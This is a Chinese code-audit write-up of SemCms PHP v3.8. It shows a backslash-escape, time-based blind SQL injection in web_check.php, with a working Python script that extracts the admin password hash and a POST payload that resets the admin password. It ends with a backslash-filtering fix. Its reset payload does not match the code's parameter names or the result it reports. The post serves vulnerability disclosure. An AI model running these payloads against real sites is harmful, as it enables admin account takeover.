0x00 前言
此篇为审计semcms_php_v3.8的第三篇文章
SemCms是一套开源外贸企业网站管理系统,主要用于外贸企业,兼容IE、Firefox 等主流浏览器。
SemCms非常适合在外贸企业,电子商务互联网应用上使用,2009年12月首次发布以来,SemCms依靠出色的用户体验和领先的技术不断扩大外贸场占有率,目前在国内已经成为最受欢迎的英文外贸网站之一。
官网:http://www.sem-cms.com/
审计版本为最新php版 v3.8
0x01 web_check.php时间盲注得后台账号密码
首先查看后台登陆页面,忘记密码处
后台index.html
代码1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32<ul><li style="text-align:right; margin-right:10px; float:right;"><a href="javascript:views();">如果忘记账号与密码,试试找回?</a><input type="image" style="width:70px; height:28px; border:0px;" src="SC_Page_Config/Image/SEMCMS_Longin.jpg" /></li></ul>
</form>
</div>
</div>
</div>
<script type="text/javascript">
function views(){TINY.box.show('SEMCMS_Remail.php?type=find',1,500,130,1)}
if (Request("type")=="ok"){
var umail=Request("umail") ;
TINY.box.show('SEMCMS_Remail.php?type=ok&umail='+umail,1,500,230,1)
}
function Request(strName)
{
thisURL = decodeURIComponent(document.URL);
strwrite = thisURL
//document.write(strwrite);
var strHref =strwrite;
var intPos = strHref.indexOf("?");
var strRight = strHref.substr(intPos + 1);
var arrTmp = strRight.split("&");
for(var i = 0; i < arrTmp.length; i++)
{
var arrTemp = arrTmp[i ].split("=");
if(arrTemp[0].toUpperCase() == strName.toUpperCase()) return arrTemp[1];
}
return "";
}
</script>
可以当点击忘记密码时,会调用js的views()
函数,而该,函数请求了SEMCMS_Remail.php
。
跟进SEMCMS_Remail.php
查看,发现又调用了../Include/web_check.php
1
2
3
4
5
6
7<form name="form" action="../Include/web_check.php?type=fintpassword" method="post">
<table width="500" cellpadding="0" cellspacing="0" class="table">
<tr><td colspan="2" align="right" class="tdsbg"><span style=" float:left;"><b>找回账号密码!</b></span><a href="javascript:TINY.box.hide()"><img src="SC_Page_Config/Image/icons/hr.gif" border="0" /></a></td></tr>
<tr><td width="20%" align="right" valign="middle">输入E-mail:</td><td align="left" valign="middle"><input name="Email" type="text" id="Email" size="50" /></td></tr>
<tr><td align="right" valign="middle"> </td><td align="center" valign="middle"><input type="hidden" name="furl" id="furl" value="<?php echo $url = "http://".$_SERVER ['HTTP_HOST'].$_SERVER['PHP_SELF']; ?>" > <input type="submit" name="button" id="button" value="确认找回!" /></td></tr>
</table>
</form>
再次跟进../Include/web_check.php
发现可以通过直接访问该页面,传入相应的操作进行请求,而无需从后台登陆处忘记密码进入。
当GET传入的type为findok
时,进入如下分支1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23elseif ($Type=="findok"){ // 密码找回
$umail=test_input(verify_str($_POST['Email']));
$umm=test_input(verify_str($_POST['umima']));
$urzm=test_input(verify_str($_POST['uyzm']));
$fhurl=str_replace("SEMCMS_Remail.php","",$_POST['furl']);
if(empty($umail) || empty($umm) || empty($urzm)){
echo'<script language="javascript">alert("请输入密码与认证码!");history.go(-1);</script>';
}else{
$query=$db_conn->query("select * from sc_user where user_email='".$umail."' and user_rzm='".$urzm."'");
if (mysqli_num_rows($query)>0){
$db_conn->query("UPDATE sc_user SET user_ps=md5($umm) WHERE user_email='".$umail."' and user_rzm='$urzm'");
echo'<script language="javascript">alert("操作成功返回登陆!");location.href="'.$fhurl.'";</script>';
}else{
echo'<script language="javascript">alert("邮箱或者验证码错误");location.href="'.$fhurl.'";</script>';
}
}
}
而仔细观察后发现,这里漏洞利用点是前面两篇出现问题的集合,第一篇中讲到可以通过sql盲注获取当前表段的内容,但是由于在那张表中的信息没有很多用处而显得相对鸡肋。而第二篇则是查询两个参数,由于没有对反斜线做过滤,导致前一个参数可以将单引号转义,从而与后面参数单引号闭合导致注入。
这里的问题便是两个参数,前者可以将后者闭合,而当前表又是存储了账号密码的sc_user
表,是第一篇的鸡肋得到放大。
0x02 poc
话不多说,直接放上payload1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21import requests
import time
burp0_url = "http://127.0.0.1:80/semcms_php_v3.8/include/web_check.php?type=findok"
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Referer": "http://127.0.0.1/semcms_php_v3.8/include/web_check.php?type=finddo&XDEBUG_SESSION_START=17436", "Content-Type": "application/x-www-form-urlencoded", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
payload = "or if(ascii(substr(user_ps,{0},1)) like {1},sleep(3),1)-- -"
passwd = ''
for i in xrange(1,33):
for j in xrange(32,127):
burp0_data={"Email": "1\\\\", "umima": "boogle", "uyzm": payload.format(str(i),str(j))}
start_time = time.time()
res = requests.post(burp0_url,headers=burp0_headers,data=burp0_data)
#print burp0_data
if time.time()-start_time > 3:
passwd+=chr(j)
print "[+]The md5 password is :"+passwd
break
print "[+]Success get the password!"
0x03 修改后台密码
1 | $db_conn->query("UPDATE sc_user SET user_ps=md5($umm) WHERE user_email='".$umail."' and user_rzm='$urzm'"); |
对前面的payload执行结果可以看到,这里由于数据库中对密码采用md5加密,如果密码比较复杂的话,可以就无法查询出明文结果。
那么便可以继续查看findok
后面的update
操作。1
$db_conn->query("UPDATE sc_user SET user_ps=md5($umm) WHERE user_email='".$umail."' and user_rzm='$urzm'");
在该操作中,如果知道$umail
和$urzm
的值,便可以对密码进行修改。
而这两个值均可以通过前面注入出密码的方法得到,这里不再赘述,诸位可自行继续操作。
例如此处得到`$umail=boogle@qq.com$urzm=6666`
修改密码payload1
2
3//post
Email=boogle@qq.com&umima=boogle_password&urzm=6666
此处成功修改后台管理员密码为123
0x04 修复方法
还是可以通过之前的修复方法,对反斜线\
增加过滤即可。